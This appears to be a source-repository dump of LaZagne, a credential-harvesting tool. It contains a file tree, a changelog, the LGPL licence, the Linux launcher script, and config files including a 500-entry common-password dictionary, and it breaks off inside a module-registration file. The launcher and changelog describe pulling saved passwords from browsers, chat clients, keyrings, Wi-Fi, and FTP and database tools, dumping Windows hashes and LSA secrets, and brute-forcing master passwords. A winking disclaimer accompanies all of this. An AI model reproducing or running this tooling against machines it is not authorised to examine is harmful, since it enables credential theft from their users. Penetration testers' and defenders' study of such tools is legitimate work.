├── CHANGELOG ├── LICENSE ├── Linux ├── src │ ├── LaZagne.py │ ├── config │ │ ├── __init__.py │ │ ├── color.py │ │ ├── constant.py │ │ ├── dico.py │ │ ├── header.py │ │ ├── manageModules.py │ │ ├── moduleInfo.py │ │ └── write_output.py │ └── softwares │ │ ├── __init__.py │ │ ├── browsers │ │ ├── __init__.py │ │ ├── mozilla.py │ │ └── opera.py │ │ ├── chats │ │ ├── __init__.py │ │ ├── jitsi.py │ │ ├── pbkdf2.py │ │ └── pidgin.py │ │ ├── databases │ │ ├── __init__.py │ │ ├── dbvis.py │ │ ├── sqldeveloper.py │ │ └── squirrel.py │ │ ├── sysadmin │ │ ├── __init__.py │ │ ├── env_variable.py │ │ └── filezilla.py │ │ ├── wallet │ │ ├── __init__.py │ │ ├── gnome.py │ │ └── kde.py │ │ └── wifi │ │ ├── __init__.py │ │ ├── wifi.py │ │ └── wpa_supplicant.py └── standalone │ ├── 32bits │ └── LaZagne-32bits │ └── 64bits │ └── LaZagne-64bits ├── README.md ├── Windows ├── src │ ├── LaZagne │ │ ├── config │ │ │ ├── __init__.py │ │ │ ├── constant.py │ │ │ ├── dico.py │ │ │ ├── get_system_priv.py │ │ │ ├── header.py │ │ │ ├── manageModules.py │ │ │ ├── moduleInfo.py │ │ │ └── write_output.py │ │ ├── laZagne.py │ │ └── softwares │ │ │ ├── __init__.py │ │ │ ├── browsers │ │ │ ├── __init__.py │ │ │ ├── chrome.py │ │ │ ├── ie.py │ │ │ ├── mozilla.py │ │ │ └── opera.py │ │ │ ├── chats │ │ │ ├── __init__.py │ │ │ ├── jitsi.py │ │ │ ├── pbkdf2.py │ │ │ ├── pidgin.py │ │ │ └── skype.py │ │ │ ├── databases │ │ │ ├── __init__.py │ │ │ ├── dbvis.py │ │ │ ├── sqldeveloper.py │ │ │ └── squirrel.py │ │ │ ├── mails │ │ │ ├── __init__.py │ │ │ └── outlook.py │ │ │ ├── svn │ │ │ ├── __init__.py │ │ │ └── tortoise.py │ │ │ ├── sysadmin │ │ │ ├── __init__.py │ │ │ ├── coreftp.py │ │ │ ├── cyberduck.py │ │ │ ├── filezilla.py │ │ │ ├── ftpnavigator.py │ │ │ ├── puttycm.py │ │ │ └── winscp.py │ │ │ ├── wifi │ │ │ ├── __init__.py │ │ │ ├── wifi.py │ │ │ └── wifipass.py │ │ │ └── windows │ │ │ ├── __init__.py │ │ │ ├── dot_net.py │ │ │ ├── network.py │ │ │ ├── secrets.py │ │ │ └── secretsdump.py │ └── browser_history_dll │ │ ├── historic.dll │ │ └── historic │ │ ├── Release │ │ ├── historic.dll │ │ ├── historic.exp │ │ ├── historic.lib │ │ └── historic.pdb │ │ ├── historic.sdf │ │ ├── historic.sln │ │ ├── historic.suo │ │ ├── historic │ │ ├── Release │ │ │ ├── CL.read.1.tlog │ │ │ ├── CL.write.1.tlog │ │ │ ├── cl.command.1.tlog │ │ │ ├── dllmain.obj │ │ │ ├── historic.Build.CppClean.log │ │ │ ├── historic.dll.intermediate.manifest │ │ │ ├── historic.lastbuildstate │ │ │ ├── historic.log │ │ │ ├── historic.obj │ │ │ ├── historic.pch │ │ │ ├── historic.write.1.tlog │ │ │ ├── history.obj │ │ │ ├── link.command.1.tlog │ │ │ ├── link.read.1.tlog │ │ │ ├── link.write.1.tlog │ │ │ ├── mt.command.1.tlog │ │ │ ├── mt.read.1.tlog │ │ │ ├── mt.write.1.tlog │ │ │ ├── stdafx.obj │ │ │ └── vc100.pdb │ │ ├── dllmain.cpp │ │ ├── historic.vcxproj │ │ ├── historic.vcxproj.filters │ │ ├── historic.vcxproj.user │ │ ├── history.cpp │ │ ├── stdafx.cpp │ │ ├── stdafx.h │ │ └── targetver.h │ │ └── ipch │ │ └── historic-a0234e08 │ │ └── history-838e9c18.ipch └── standalone │ └── laZagne.exe └── pictures ├── lazagne.png └── softwares.png /CHANGELOG: -------------------------------------------------------------------------------- 1 | LaZagne 0.71 (04/06/2015) 2 | - Only Linux 3 | * Wifi password module from WPA Supplicant implemented (by rpesche) 4 | 5 | LaZagne 0.7 (29/05/2015) 6 | - For Windows / Linux 7 | * Fix mozilla bug (special characters were not printed) 8 | 9 | LaZagne 0.6 (26/05/2015) 10 | - For Windows / Linux 11 | * Firefox / Thunderbird: No more dependency with nss library (many thanks to Laurent Clevy for its awesome technic: https://github.com/lclevy/firepwd) 12 | * Fix opera bug 13 | 14 | - Only Windows 15 | * WinSCP false positive removed (when SSH key is used) 16 | 17 | LaZagne 0.5 (21/05/2015) 18 | - For Windows 19 | * Fix chrome bug 20 | 21 | LaZagne 0.5 (20/05/2015) 22 | - For Windows / Linux 23 | * 2 levels of verbosity added for debugs 24 | * try / except more verbose depending on the verbosity levels 25 | * dico file moved from browsers to config repository (used for dictionary attack) 26 | * new Filezilla versions managed 27 | 28 | - Only Windows 29 | * check weak passwords (logins equal to password) for windows account when hashes (nthash) have been found 30 | * function to write the output modified on windows module 31 | * WConio replaced by colorama for the window color 32 | * Skype: try a dictionary attack (500 famous password) when the hash has been retrieved 33 | 34 | LaZagne 0.4 (12/05/2015) 35 | - For Linux 36 | * Kwallet module implemented (by quentin hardy) 37 | 38 | LaZagne 0.4 (05/05/2015) 39 | - For Windows 40 | * Fix ie bugs 41 | * Fix thunderbird bug 42 | 43 | LaZagne 0.3 (30/04/2015) 44 | - For Windows 45 | * Flexibility on the code: much more easy to add modules 46 | * Passwords found previously are used to test firefox masterpassword if set 47 | 48 | - For Linux 49 | * Flexibility on the code: much more easy to add modules 50 | * Passwords found previously are used to test firefox masterpassword if set 51 | * 2 different standalones (32 bits / 64 bits) 52 | 53 | LaZagne 0.2 (27/04/2015) 54 | - For Windows 55 | * New modules: Windows hashes + LSA Secrets 56 | * Passwords found previously are used to test windows hashes and firefox masterpassword 57 | * 500 most famous passwords are used to retrieve the windows password (once we get the hashes) 58 | * Wifi bug fixed: only one password was printed 59 | * I.E bug fixed 60 | 61 | 62 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU LESSER GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | 9 | This version of the GNU Lesser General Public License incorporates 10 | the terms and conditions of version 3 of the GNU General Public 11 | License, supplemented by the additional permissions listed below. 12 | 13 | 0. Additional Definitions. 14 | 15 | As used herein, "this License" refers to version 3 of the GNU Lesser 16 | General Public License, and the "GNU GPL" refers to version 3 of the GNU 17 | General Public License. 18 | 19 | "The Library" refers to a covered work governed by this License, 20 | other than an Application or a Combined Work as defined below. 21 | 22 | An "Application" is any work that makes use of an interface provided 23 | by the Library, but which is not otherwise based on the Library. 24 | Defining a subclass of a class defined by the Library is deemed a mode 25 | of using an interface provided by the Library. 26 | 27 | A "Combined Work" is a work produced by combining or linking an 28 | Application with the Library. The particular version of the Library 29 | with which the Combined Work was made is also called the "Linked 30 | Version". 31 | 32 | The "Minimal Corresponding Source" for a Combined Work means the 33 | Corresponding Source for the Combined Work, excluding any source code 34 | for portions of the Combined Work that, considered in isolation, are 35 | based on the Application, and not on the Linked Version. 36 | 37 | The "Corresponding Application Code" for a Combined Work means the 38 | object code and/or source code for the Application, including any data 39 | and utility programs needed for reproducing the Combined Work from the 40 | Application, but excluding the System Libraries of the Combined Work. 41 | 42 | 1. Exception to Section 3 of the GNU GPL. 43 | 44 | You may convey a covered work under sections 3 and 4 of this License 45 | without being bound by section 3 of the GNU GPL. 46 | 47 | 2. Conveying Modified Versions. 48 | 49 | If you modify a copy of the Library, and, in your modifications, a 50 | facility refers to a function or data to be supplied by an Application 51 | that uses the facility (other than as an argument passed when the 52 | facility is invoked), then you may convey a copy of the modified 53 | version: 54 | 55 | a) under this License, provided that you make a good faith effort to 56 | ensure that, in the event an Application does not supply the 57 | function or data, the facility still operates, and performs 58 | whatever part of its purpose remains meaningful, or 59 | 60 | b) under the GNU GPL, with none of the additional permissions of 61 | this License applicable to that copy. 62 | 63 | 3. Object Code Incorporating Material from Library Header Files. 64 | 65 | The object code form of an Application may incorporate material from 66 | a header file that is part of the Library. You may convey such object 67 | code under terms of your choice, provided that, if the incorporated 68 | material is not limited to numerical parameters, data structure 69 | layouts and accessors, or small macros, inline functions and templates 70 | (ten or fewer lines in length), you do both of the following: 71 | 72 | a) Give prominent notice with each copy of the object code that the 73 | Library is used in it and that the Library and its use are 74 | covered by this License. 75 | 76 | b) Accompany the object code with a copy of the GNU GPL and this license 77 | document. 78 | 79 | 4. Combined Works. 80 | 81 | You may convey a Combined Work under terms of your choice that, 82 | taken together, effectively do not restrict modification of the 83 | portions of the Library contained in the Combined Work and reverse 84 | engineering for debugging such modifications, if you also do each of 85 | the following: 86 | 87 | a) Give prominent notice with each copy of the Combined Work that 88 | the Library is used in it and that the Library and its use are 89 | covered by this License. 90 | 91 | b) Accompany the Combined Work with a copy of the GNU GPL and this license 92 | document. 93 | 94 | c) For a Combined Work that displays copyright notices during 95 | execution, include the copyright notice for the Library among 96 | these notices, as well as a reference directing the user to the 97 | copies of the GNU GPL and this license document. 98 | 99 | d) Do one of the following: 100 | 101 | 0) Convey the Minimal Corresponding Source under the terms of this 102 | License, and the Corresponding Application Code in a form 103 | suitable for, and under terms that permit, the user to 104 | recombine or relink the Application with a modified version of 105 | the Linked Version to produce a modified Combined Work, in the 106 | manner specified by section 6 of the GNU GPL for conveying 107 | Corresponding Source. 108 | 109 | 1) Use a suitable shared library mechanism for linking with the 110 | Library. A suitable mechanism is one that (a) uses at run time 111 | a copy of the Library already present on the user's computer 112 | system, and (b) will operate properly with a modified version 113 | of the Library that is interface-compatible with the Linked 114 | Version. 115 | 116 | e) Provide Installation Information, but only if you would otherwise 117 | be required to provide such information under section 6 of the 118 | GNU GPL, and only to the extent that such information is 119 | necessary to install and execute a modified version of the 120 | Combined Work produced by recombining or relinking the 121 | Application with a modified version of the Linked Version. (If 122 | you use option 4d0, the Installation Information must accompany 123 | the Minimal Corresponding Source and Corresponding Application 124 | Code. If you use option 4d1, you must provide the Installation 125 | Information in the manner specified by section 6 of the GNU GPL 126 | for conveying Corresponding Source.) 127 | 128 | 5. Combined Libraries. 129 | 130 | You may place library facilities that are a work based on the 131 | Library side by side in a single library together with other library 132 | facilities that are not Applications and are not covered by this 133 | License, and convey such a combined library under terms of your 134 | choice, if you do both of the following: 135 | 136 | a) Accompany the combined library with a copy of the same work based 137 | on the Library, uncombined with any other library facilities, 138 | conveyed under the terms of this License. 139 | 140 | b) Give prominent notice with the combined library that part of it 141 | is a work based on the Library, and explaining where to find the 142 | accompanying uncombined form of the same work. 143 | 144 | 6. Revised Versions of the GNU Lesser General Public License. 145 | 146 | The Free Software Foundation may publish revised and/or new versions 147 | of the GNU Lesser General Public License from time to time. Such new 148 | versions will be similar in spirit to the present version, but may 149 | differ in detail to address new problems or concerns. 150 | 151 | Each version is given a distinguishing version number. If the 152 | Library as you received it specifies that a certain numbered version 153 | of the GNU Lesser General Public License "or any later version" 154 | applies to it, you have the option of following the terms and 155 | conditions either of that published version or of any later version 156 | published by the Free Software Foundation. If the Library as you 157 | received it does not specify a version number of the GNU Lesser 158 | General Public License, you may choose any version of the GNU Lesser 159 | General Public License ever published by the Free Software Foundation. 160 | 161 | If the Library as you received it specifies that a proxy can decide 162 | whether future versions of the GNU Lesser General Public License shall 163 | apply, that proxy's public statement of acceptance of any version is 164 | permanent authorization for you to choose that version for the 165 | Library. 166 | -------------------------------------------------------------------------------- /Linux/src/LaZagne.py: -------------------------------------------------------------------------------- 1 | # !/usr/bin/python 2 | 3 | ############################################################################## 4 | # # 5 | # By Alessandro ZANNI # 6 | # # 7 | ############################################################################## 8 | 9 | # Disclaimer: Do Not Use this program for illegal purposes ;) 10 | 11 | import argparse 12 | import time, sys, os 13 | import logging 14 | from softwares.browsers.mozilla import Mozilla 15 | 16 | # Configuration 17 | from config.header import Header 18 | from config.write_output import write_header, write_footer, print_footer 19 | from config.constant import * 20 | from config.manageModules import get_categories, get_modules 21 | 22 | # Print the title 23 | Header().first_title() 24 | 25 | category = get_categories() 26 | moduleNames = get_modules() 27 | 28 | # Define a dictionary for all modules 29 | modules = {} 30 | for categoryName in category: 31 | modules[categoryName] = {} 32 | 33 | # Add all modules to the dictionary 34 | for module in moduleNames: 35 | modules[module.category][module.options['dest']] = module 36 | modules['mails']['thunderbird'] = Mozilla(True) # For thunderbird (firefox and thunderbird use the same class) 37 | 38 | def output(): 39 | if args['write'] == True: 40 | constant.output = 'txt' 41 | if not os.path.exists(constant.folder_name): 42 | os.makedirs(constant.folder_name) 43 | write_header() 44 | del args['write'] 45 | 46 | def verbosity(): 47 | # Write on the console + debug file 48 | if args['verbose']==0: level=logging.CRITICAL 49 | elif args['verbose'] == 1: level=logging.INFO 50 | elif args['verbose']>=2: level=logging.DEBUG 51 | 52 | FORMAT = "%(message)s" 53 | formatter = logging.Formatter(fmt=FORMAT) 54 | stream = logging.StreamHandler() 55 | stream.setFormatter(formatter) 56 | root = logging.getLogger() 57 | root.setLevel(level) 58 | # If other logging are set 59 | for r in root.handlers: 60 | r.setLevel(logging.CRITICAL) 61 | root.addHandler(stream) 62 | del args['verbose'] 63 | 64 | def launch_module(b): 65 | ok = False 66 | # Launch only a specific module 67 | for i in args: 68 | if args[i] and i in b: 69 | b[i].run() 70 | ok = True 71 | 72 | # Launch all modules 73 | if not ok: 74 | for i in b: 75 | b[i].run() 76 | 77 | def manage_advanced_options(): 78 | if 'manually' in args: 79 | constant.manually = args['manually'] 80 | if 'path' in args: 81 | constant.path = args['path'] 82 | if 'bruteforce' in args: 83 | constant.bruteforce = args['bruteforce'] 84 | if 'defaultpass' in args: 85 | constant.defaultpass = args['defaultpass'] 86 | if 'specific_path' in args: 87 | constant.specific_path = args['specific_path'] 88 | if 'mails' in args['auditType']: 89 | constant.mozilla_software = 'Thunderbird' 90 | elif 'browsers' in args['auditType']: 91 | constant.mozilla_software = 'Firefox' 92 | if 'master_pwd' in args: 93 | constant.jitsi_masterpass = args['master_pwd'] 94 | if 'historic' in args: 95 | constant.ie_historic = args['historic'] 96 | 97 | # Run only one module 98 | def runModule(): 99 | manage_advanced_options() 100 | launch_module(modules[args['auditType']]) 101 | 102 | # Run all 103 | def runAllModules(): 104 | manage_advanced_options() 105 | for categoryName in category: 106 | if categoryName == 'browsers': 107 | constant.mozilla_software = 'Firefox' 108 | elif categoryName == 'mails': 109 | constant.mozilla_software = 'Thunderbird' 110 | launch_module(modules[categoryName]) 111 | 112 | # Prompt help if an error occurs 113 | class MyParser(argparse.ArgumentParser): 114 | def error(self, message): 115 | sys.stderr.write('error: %s\n\n' % message) 116 | self.print_help() 117 | sys.exit(2) 118 | 119 | parser = MyParser() 120 | 121 | # ------------------------------------------- Permanent options ------------------------------------------- 122 | # Version and verbosity 123 | PPoptional = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) 124 | PPoptional._optionals.title = 'optional arguments' 125 | PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='increase verbosity level') 126 | PPoptional.add_argument('--version', action='version', version='Version ' + str(constant.CURRENT_VERSION), help='laZagne version') 127 | 128 | # Output 129 | PWrite = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) 130 | PWrite._optionals.title = 'output' 131 | PWrite.add_argument('-w', dest='write', action= 'store_true', help = 'write a text file on the current directory') 132 | 133 | # ------------------------------------------- Add options and suboptions to all modules ------------------------------------------- 134 | all_subparser = [] 135 | for c in category: 136 | category[c]['parser'] = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) 137 | category[c]['parser']._optionals.title = category[c]['help'] 138 | 139 | # Manage options 140 | category[c]['subparser'] = [] 141 | for module in modules[c]: 142 | m = modules[c][module] 143 | category[c]['parser'].add_argument(m.options['command'], action=m.options['action'], dest=m.options['dest'], help=m.options['help']) 144 | 145 | # Manage all suboptions by modules 146 | if m.suboptions and m.name != 'thunderbird': 147 | tmp = [] 148 | for sub in m.suboptions: 149 | tmp_subparser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION)) 150 | tmp_subparser._optionals.title = sub['title'] 151 | if 'type' in sub: 152 | tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'], dest=sub['dest'], help=sub['help']) 153 | else: 154 | tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'], help=sub['help']) 155 | tmp.append(tmp_subparser) 156 | all_subparser.append(tmp_subparser) 157 | category[c]['subparser'] += tmp 158 | 159 | # ------------------------------------------- Print all ------------------------------------------- 160 | parents = [PPoptional] + all_subparser + [PWrite] 161 | dic = {'all':{'parents':parents, 'help':'Run all modules', 'func': runAllModules}} 162 | for c in category: 163 | parser_tab = [PPoptional, category[c]['parser']] 164 | if 'subparser' in category[c]: 165 | if category[c]['subparser']: 166 | parser_tab += category[c]['subparser'] 167 | parser_tab += [PWrite] 168 | dic_tmp = {c: {'parents': parser_tab, 'help':'Run %s module' % c, 'func': runModule}} 169 | dic = dict(dic.items() + dic_tmp.items()) 170 | 171 | # 2- main commands 172 | subparsers = parser.add_subparsers(help='Choose a main command') 173 | for d in dic: 174 | subparsers.add_parser(d,parents=dic[d]['parents'],help=dic[d]['help']).set_defaults(func=dic[d]['func'],auditType=d) 175 | 176 | # ------------------------------------------- Parse arguments ------------------------------------------- 177 | args = dict(parser.parse_args()._get_kwargs()) 178 | arguments = parser.parse_args() 179 | start_time = time.time() 180 | output() 181 | verbosity() 182 | arguments.func() 183 | 184 | # Print the number of passwords found 185 | if constant.output == 'txt': 186 | write_footer() 187 | print_footer() 188 | 189 | elapsed_time = time.time() - start_time 190 | print 'elapsed time = ' + str(elapsed_time) 191 | -------------------------------------------------------------------------------- /Linux/src/config/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Linux/src/config/__init__.py -------------------------------------------------------------------------------- /Linux/src/config/color.py: -------------------------------------------------------------------------------- 1 | 2 | class bcolors(): 3 | HEADER = '\033[95m' 4 | OKBLUE = '\033[94m' 5 | OK = '\033[92m' 6 | WARNING = '\033[96m' 7 | FAIL = '\033[91m' 8 | TITLE = '\033[93m' 9 | ENDC = '\033[0m' 10 | 11 | -------------------------------------------------------------------------------- /Linux/src/config/constant.py: -------------------------------------------------------------------------------- 1 | 2 | class constant(): 3 | folder_name = 'results' 4 | MAX_HELP_POSITION = 27 5 | CURRENT_VERSION = 0.71 6 | output = None 7 | file_logger = None 8 | verbose = False 9 | 10 | # jitsi options 11 | jitsi_masterpass = None 12 | 13 | # mozilla options 14 | manually = None 15 | path = None 16 | bruteforce = None 17 | defaultpass = None 18 | specific_path = None 19 | mozilla_software = '' 20 | 21 | # total password found 22 | nbPasswordFound = 0 23 | passwordFound = [] 24 | -------------------------------------------------------------------------------- /Linux/src/config/dico.py: -------------------------------------------------------------------------------- 1 | 2 | def get_dico(): 3 | return [ 4 | "password", 5 | "123456", 6 | "12345678", 7 | "1234", 8 | "qwerty", 9 | "12345", 10 | "dragon", 11 | "pussy", 12 | "baseball", 13 | "football", 14 | "letmein", 15 | "monkey", 16 | "696969", 17 | "abc123", 18 | "mustang", 19 | "michael", 20 | "shadow", 21 | "master", 22 | "jennifer", 23 | "111111", 24 | "2000", 25 | "jordan", 26 | "superman", 27 | "harley", 28 | "1234567", 29 | "fuckme", 30 | "hunter", 31 | "fuckyou", 32 | "trustno1", 33 | "ranger", 34 | "buster", 35 | "thomas", 36 | "tigger", 37 | "robert", 38 | "soccer", 39 | "fuck", 40 | "batman", 41 | "test", 42 | "pass", 43 | "killer", 44 | "hockey", 45 | "george", 46 | "charlie", 47 | "andrew", 48 | "michelle", 49 | "love", 50 | "sunshine", 51 | "jessica", 52 | "asshole", 53 | "6969", 54 | "pepper", 55 | "daniel", 56 | "access", 57 | "123456789", 58 | "654321", 59 | "joshua", 60 | "maggie", 61 | "starwars", 62 | "silver", 63 | "william", 64 | "dallas", 65 | "yankees", 66 | "123123", 67 | "ashley", 68 | "666666", 69 | "hello", 70 | "amanda", 71 | "orange", 72 | "biteme", 73 | "freedom", 74 | "computer", 75 | "sexy", 76 | "thunder", 77 | "nicole", 78 | "ginger", 79 | "heather", 80 | "hammer", 81 | "summer", 82 | "corvette", 83 | "taylor", 84 | "fucker", 85 | "austin", 86 | "1111", 87 | "merlin", 88 | "matthew", 89 | "121212", 90 | "golfer", 91 | "cheese", 92 | "princess", 93 | "martin", 94 | "chelsea", 95 | "patrick", 96 | "richard", 97 | "diamond", 98 | "yellow", 99 | "bigdog", 100 | "secret", 101 | "asdfgh", 102 | "sparky", 103 | "cowboy", 104 | "camaro", 105 | "anthony", 106 | "matrix", 107 | "falcon", 108 | "iloveyou", 109 | "bailey", 110 | "guitar", 111 | "jackson", 112 | "purple", 113 | "scooter", 114 | "phoenix", 115 | "aaaaaa", 116 | "morgan", 117 | "tigers", 118 | "porsche", 119 | "mickey", 120 | "maverick", 121 | "cookie", 122 | "nascar", 123 | "peanut", 124 | "justin", 125 | "131313", 126 | "money", 127 | "horny", 128 | "samantha", 129 | "panties", 130 | "steelers", 131 | "joseph", 132 | "snoopy", 133 | "boomer", 134 | "whatever", 135 | "iceman", 136 | "smokey", 137 | "gateway", 138 | "dakota", 139 | "cowboys", 140 | "eagles", 141 | "chicken", 142 | "dick", 143 | "black", 144 | "zxcvbn", 145 | "please", 146 | "andrea", 147 | "ferrari", 148 | "knight", 149 | "hardcore", 150 | "melissa", 151 | "compaq", 152 | "coffee", 153 | "booboo", 154 | "bitch", 155 | "johnny", 156 | "bulldog", 157 | "xxxxxx", 158 | "welcome", 159 | "james", 160 | "player", 161 | "ncc1701", 162 | "wizard", 163 | "scooby", 164 | "charles", 165 | "junior", 166 | "internet", 167 | "bigdick", 168 | "mike", 169 | "brandy", 170 | "tennis", 171 | "blowjob", 172 | "banana", 173 | "monster", 174 | "spider", 175 | "lakers", 176 | "miller", 177 | "rabbit", 178 | "enter", 179 | "mercedes", 180 | "brandon", 181 | "steven", 182 | "fender", 183 | "john", 184 | "yamaha", 185 | "diablo", 186 | "chris", 187 | "boston", 188 | "tiger", 189 | "marine", 190 | "chicago", 191 | "rangers", 192 | "gandalf", 193 | "winter", 194 | "bigtits", 195 | "barney", 196 | "edward", 197 | "raiders", 198 | "porn", 199 | "badboy", 200 | "blowme", 201 | "spanky", 202 | "bigdaddy", 203 | "johnson", 204 | "chester", 205 | "london", 206 | "midnight", 207 | "blue", 208 | "fishing", 209 | "000000", 210 | "hannah", 211 | "slayer", 212 | "11111111", 213 | "rachel", 214 | "sexsex", 215 | "redsox", 216 | "thx1138", 217 | "asdf", 218 | "marlboro", 219 | "panther", 220 | "zxcvbnm", 221 | "arsenal", 222 | "oliver", 223 | "qazwsx", 224 | "mother", 225 | "victoria", 226 | "7777777", 227 | "jasper", 228 | "angel", 229 | "david", 230 | "winner", 231 | "crystal", 232 | "golden", 233 | "butthead", 234 | "viking", 235 | "jack", 236 | "iwantu", 237 | "shannon", 238 | "murphy", 239 | "angels", 240 | "prince", 241 | "cameron", 242 | "girls", 243 | "madison", 244 | "wilson", 245 | "carlos", 246 | "hooters", 247 | "willie", 248 | "startrek", 249 | "captain", 250 | "maddog", 251 | "jasmine", 252 | "butter", 253 | "booger", 254 | "angela", 255 | "golf", 256 | "lauren", 257 | "rocket", 258 | "tiffany", 259 | "theman", 260 | "dennis", 261 | "liverpoo", 262 | "flower", 263 | "forever", 264 | "green", 265 | "jackie", 266 | "muffin", 267 | "turtle", 268 | "sophie", 269 | "danielle", 270 | "redskins", 271 | "toyota", 272 | "jason", 273 | "sierra", 274 | "winston", 275 | "debbie", 276 | "giants", 277 | "packers", 278 | "newyork", 279 | "jeremy", 280 | "casper", 281 | "bubba", 282 | "112233", 283 | "sandra", 284 | "lovers", 285 | "mountain", 286 | "united", 287 | "cooper", 288 | "driver", 289 | "tucker", 290 | "helpme", 291 | "fucking", 292 | "pookie", 293 | "lucky", 294 | "maxwell", 295 | "8675309", 296 | "bear", 297 | "suckit", 298 | "gators", 299 | "5150", 300 | "222222", 301 | "shithead", 302 | "fuckoff", 303 | "jaguar", 304 | "monica", 305 | "fred", 306 | "happy", 307 | "hotdog", 308 | "tits", 309 | "gemini", 310 | "lover", 311 | "xxxxxxxx", 312 | "777777", 313 | "canada", 314 | "nathan", 315 | "victor", 316 | "florida", 317 | "88888888", 318 | "nicholas", 319 | "rosebud", 320 | "metallic", 321 | "doctor", 322 | "trouble", 323 | "success", 324 | "stupid", 325 | "tomcat", 326 | "warrior", 327 | "peaches", 328 | "apples", 329 | "fish", 330 | "qwertyui", 331 | "magic", 332 | "buddy", 333 | "dolphins", 334 | "rainbow", 335 | "gunner", 336 | "987654", 337 | "freddy", 338 | "alexis", 339 | "braves", 340 | "cock", 341 | "2112", 342 | "1212", 343 | "cocacola", 344 | "xavier", 345 | "dolphin", 346 | "testing", 347 | "bond007", 348 | "member", 349 | "calvin", 350 | "voodoo", 351 | "7777", 352 | "samson", 353 | "alex", 354 | "apollo", 355 | "fire", 356 | "tester", 357 | "walter", 358 | "beavis", 359 | "voyager", 360 | "peter", 361 | "porno", 362 | "bonnie", 363 | "rush2112", 364 | "beer", 365 | "apple", 366 | "scorpio", 367 | "jonathan", 368 | "skippy", 369 | "sydney", 370 | "scott", 371 | "red123", 372 | "power", 373 | "gordon", 374 | "travis", 375 | "beaver", 376 | "star", 377 | "jackass", 378 | "flyers", 379 | "boobs", 380 | "232323", 381 | "zzzzzz", 382 | "steve", 383 | "rebecca", 384 | "scorpion", 385 | "doggie", 386 | "legend", 387 | "ou812", 388 | "yankee", 389 | "blazer", 390 | "bill", 391 | "runner", 392 | "birdie", 393 | "bitches", 394 | "555555", 395 | "parker", 396 | "topgun", 397 | "asdfasdf", 398 | "heaven", 399 | "viper", 400 | "animal", 401 | "2222", 402 | "bigboy", 403 | "4444", 404 | "arthur", 405 | "baby", 406 | "private", 407 | "godzilla", 408 | "donald", 409 | "williams", 410 | "lifehack", 411 | "phantom", 412 | "dave", 413 | "rock", 414 | "august", 415 | "sammy", 416 | "cool", 417 | "brian", 418 | "platinum", 419 | "jake", 420 | "bronco", 421 | "paul", 422 | "mark", 423 | "frank", 424 | "heka6w2", 425 | "copper", 426 | "billy", 427 | "cumshot", 428 | "garfield", 429 | "willow", 430 | "cunt", 431 | "little", 432 | "carter", 433 | "slut", 434 | "albert", 435 | "69696969", 436 | "kitten", 437 | "super", 438 | "jordan23", 439 | "eagle1", 440 | "shelby", 441 | "america", 442 | "11111", 443 | "jessie", 444 | "house", 445 | "free", 446 | "123321", 447 | "chevy", 448 | "bullshit", 449 | "white", 450 | "broncos", 451 | "horney", 452 | "surfer", 453 | "nissan", 454 | "999999", 455 | "saturn", 456 | "airborne", 457 | "elephant", 458 | "marvin", 459 | "shit", 460 | "action", 461 | "adidas", 462 | "qwert", 463 | "kevin", 464 | "1313", 465 | "explorer", 466 | "walker", 467 | "police", 468 | "christin", 469 | "december", 470 | "benjamin", 471 | "wolf", 472 | "sweet", 473 | "therock", 474 | "king", 475 | "online", 476 | "dickhead", 477 | "brooklyn", 478 | "teresa", 479 | "cricket", 480 | "sharon", 481 | "dexter", 482 | "racing", 483 | "penis", 484 | "gregory", 485 | "0000", 486 | "teens", 487 | "redwings", 488 | "dreams", 489 | "michigan", 490 | "hentai", 491 | "magnum", 492 | "87654321", 493 | "nothing", 494 | "donkey", 495 | "trinity", 496 | "digital", 497 | "333333", 498 | "stella", 499 | "cartman", 500 | "guinness", 501 | "123abc", 502 | "speedy", 503 | "buffalo", 504 | "kitty"] 505 | 506 | -------------------------------------------------------------------------------- /Linux/src/config/header.py: -------------------------------------------------------------------------------- 1 | from color import bcolors 2 | import logging 3 | 4 | class Header(): 5 | def first_title(self): 6 | print bcolors().TITLE 7 | print '|====================================================================|' 8 | print '| |' 9 | print '| The LaZagne Project |' 10 | print '| |' 11 | print '| ! BANG BANG ! |' 12 | print '| |' 13 | print '|====================================================================|' 14 | print bcolors().ENDC 15 | 16 | 17 | # print the title if no logging level has been set 18 | def title(self, title): 19 | b = bcolors() 20 | print b.TITLE + "------------------- " + title + " passwords -----------------\n" + b.ENDC 21 | 22 | # print the title if logging level is higher or equal to info 23 | def title_info(self, title): 24 | b = bcolors() 25 | logging.info(b.TITLE + "------------------- " + title + " passwords -----------------\n" + b.ENDC ) -------------------------------------------------------------------------------- /Linux/src/config/manageModules.py: -------------------------------------------------------------------------------- 1 | # keyring 2 | from softwares.wallet.gnome import Gnome 3 | from softwares.wallet.kde import kde 4 | # browsers 5 | from softwares.browsers.mozilla import Mozilla 6 | from softwares.browsers.opera import Opera 7 | # sysadmin 8 | from softwares.sysadmin.filezilla import Filezilla 9 | from softwares.sysadmin.env_variable import Env_variable 10 | # chats 11 | from softwares.chats.pidgin import Pidgin 12 | from softwares.chats.jitsi import Jitsi 13 | # wifi 14 | from softwares.wifi.wifi import Wifi 15 | from softwares.wifi.wpa_supplicant import Wpa_supplicant 16 | # databases 17 | from softwares.databases.squirrel import Squirrel 18 | from softwares.databases.dbvis import DbVisualizer 19 | from softwares.databases.sqldeveloper import SQLDeveloper 20 | 21 | def get_categories(): 22 | category = { 23 | 'chats': {'help': 'Chat clients supported'}, 24 | 'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'}, 25 | 